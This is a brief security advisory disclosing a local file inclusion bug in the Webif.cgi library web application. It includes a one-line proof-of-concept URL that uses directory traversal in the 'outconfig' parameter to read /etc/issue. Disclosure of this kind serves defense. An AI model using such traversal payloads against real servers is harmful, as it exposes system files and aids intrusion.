Webif.cgi local file inclusion

.:: WEBIF.CGI LOCALE FILE INCLUSION ::.

[#] AUTHOR: maiosyet
[#] CONTACT: [email protected]
[#] SITE: http://www.mawk.org

[#] ORIGINAL ADV:
http://www.mawk.org/mods.php?mods=Core&page=view&id=102

[#] SOFTWARE: Webif.cgi
http://www.ifnet.it/webif/

[#] DESCRIPTION:
Webif is the natural solution for librarianships who want visibility across
the web or would like to manage Intranet networks, the whole at a reasonable price.

[#] BUG:
Input passed to the "outconfig" parameter in webif.cgi is not properly verified.
This can be exploited to include arbitrary files from local resources.

[#] PoC:
http://www.site.org/webif/webif.cgi?cmd=query&config=conf_2000/config.txt&outconfig=../../../../etc/issue

[#] Thanks:
Einyx; Anathema, Hidden, XVII, Shatsar, Kaisentlaia and all the mawkers; black_dhalya :*
Federico, Eveline (you know who you are).